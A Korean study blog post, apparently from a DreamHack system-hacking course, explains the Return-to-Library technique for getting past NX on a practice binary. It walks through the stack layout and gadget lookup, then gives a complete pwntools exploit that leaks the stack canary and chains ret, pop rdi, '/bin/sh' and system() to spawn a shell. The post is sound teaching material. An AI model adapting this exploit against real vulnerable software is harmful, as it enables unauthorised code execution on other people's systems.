[Return to Library]
-개념: NX 보호기법을 우회하기 위한 공격기법. 프로세스에 실행 권한이 있는 "바이너리의 코드 영역" & 바이너리가 참조하는 "라이브러리의 코드 영역"을 이용하여 공격. "라이브러리"에는 system, execve와 같은 함수들이 구현되어 있으므로, 이와 같은 함수들을 이용하여 NX를 우회하고 셸을 획득하는 것이 목적이다.
[소스코드 분석(rtl.c)]
1) const char* binsh = "/bin/sh"; -> "/bin/sh"를 데이터 세그먼트에 추가하기 위해 작성된 코드
2) system("echo 'system@plt'"); -> plt에 system 함수를 추가하기 위해 작성된 코드
[exploit 설계]
1) rtl에서는 NX가 적용되어 있으므로 buf에 셸코드를 넣고 이를 실행시키는 방법을 사용할 수 없음. 따라서 다음의 정보를 이용하여 셸을 획득해야함.
a) “/bin/sh”의 주소를 안다. -> data, code 세그먼트의 주소가 고정되어 있으므로(ASLR == on <-> but, PIE == off)
b) system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다. -> (a)에서와 같은 이유
2) (a)와 (b)의 정보를 토대로 <rdi="/bin/sh" 주소>인 상태로 <system>함수를 호출하면 shell을 획득할 수 있다. 이를 위해선 "리턴 가젯"을 활용해야 한다.
[리턴 가젯]: ret 명령어로 끝나는 어셈블리 코드 조각. pwntools 설치 시 함께 설치되는 "ROPgadget" 명령어를 이용해서 가젯을 구할 수 있다.
(ex. ROPgadget --binary rtl)
[스택 구조 파악 & exploit 설계]
리턴 가젯을 이용하여 RET와 이후 버퍼를 다음과 같이 덮으면 pop rdi로 rdi를 “/bin/sh”의 주소로 설정하고, 이어지는 ret로 system 함수를 호출할 수 있다.
addr of "system" plt <= ret + 0x10
addr of string "/bin/sh" <= ret + 0x8
addr of ("pop rdi; ret") <= return address
SFP
Canary
buf
0) 스택 구조 및 보안 정책
0. Canary, NX 보안 정책이 적용돼있음을 확인할 수 있다.
1. sub rsp, 0x40을 통해 스택 버퍼의 크기가 0x40임을 알 수 있다. 또한 Canary가 [rbp - 8]에 위치하고 있음 또한 확인할 수 있다.
2. buf가 [rbp - 0x40]에 위치하고 있음을 확인할 수 있다.
위의 정보들을 토대로 스택 구조를 그려보면 다음과 같다.
이제 우리에게 필요한 재료들(리턴 가젯, "/bin/sh", system())의 주소를 알아보자
1) ROPgadget --binary [파일 경로] --re "pop rdi" // 0x400853 -> "pop rdi; ret"
2) pwndbg> search /bin/sh
rtl 0x400874 0x68732f6e69622f /* '/bin/sh' */
rtl 0x600874 0x68732f6e69622f /* '/bin/sh' */
libc-2.31.so 0x7ffff7f825bd 0x68732f6e69622f /* '/bin/sh' */
3) pwndbg> plt
Section .plt 0x4005a0-0x400610:
0x4005b0: puts@plt
0x4005c0: __stack_chk_fail@plt
0x4005d0: system@plt
0x4005e0: printf@plt
0x4005f0: read@plt
0x400600: setvbuf@plt
****4) system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야함.
+) rbp는 항상 align(0x10) 돼있다. 함수가 호출되는 시점에 rsp의 값이 16(0x10)의 배수여야 한다. -> https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/
[exploit 코드 작성(rtl.py)]
from pwn import *
p = process("./rtl")
buf = b'A'*57
p.sendafter(':', buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
print('Canary:', hex(canary))
ret = 0x400285
pop_rdi_ret = 0x400853
binsh = 0x400874
system = 0x4005d0
payload = b'A'*56 + p64(canary) + b'A'*8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendafter(b'Buf: ', payload)
p.interactive()
** 부가 설명 **
Return to Library의 동작 수행 과정을 살펴보자.
이 예제에서 Return to Library를 수행하기 위해 BOF를 일으킨 스택 구조는 다음과 같다
1) 함수 에필로그가 실행될 때(함수 에필로그 = leave, ret)
1. leave(mov rsp, rbp -> pop rbp)
2. ret (pop rip): 이 동작 이후 rip는 gadget(== ret(pop rip))를 가리키게 된다
3. 이후 2에서의 gadget(== ret(pop rip))가 수행되어 rip는 gadget(== pop rdi; ret(pop rip))를 가리키게 된다.
4. 이후 pop rdi가 수행되어 rdi에는 '/bin/sh'이 들어가게 되고, pop rdi 뒤의 ret(pop rip)가 수행되어 rip는 system()의 주소를 가리키게 되어 system 함수가 실행된다.
'DreamHack: System Hacking > F Stage 7' 카테고리의 다른 글
basic_rop_x86 (0) | 2023.06.14 |
---|---|
basic_rop_x64 (0) | 2023.06.14 |
[함께 실습] Return Oriented Programming (0) | 2023.06.11 |
ASLR, NX & Static-Link, Dynamic-Link (1) | 2023.06.10 |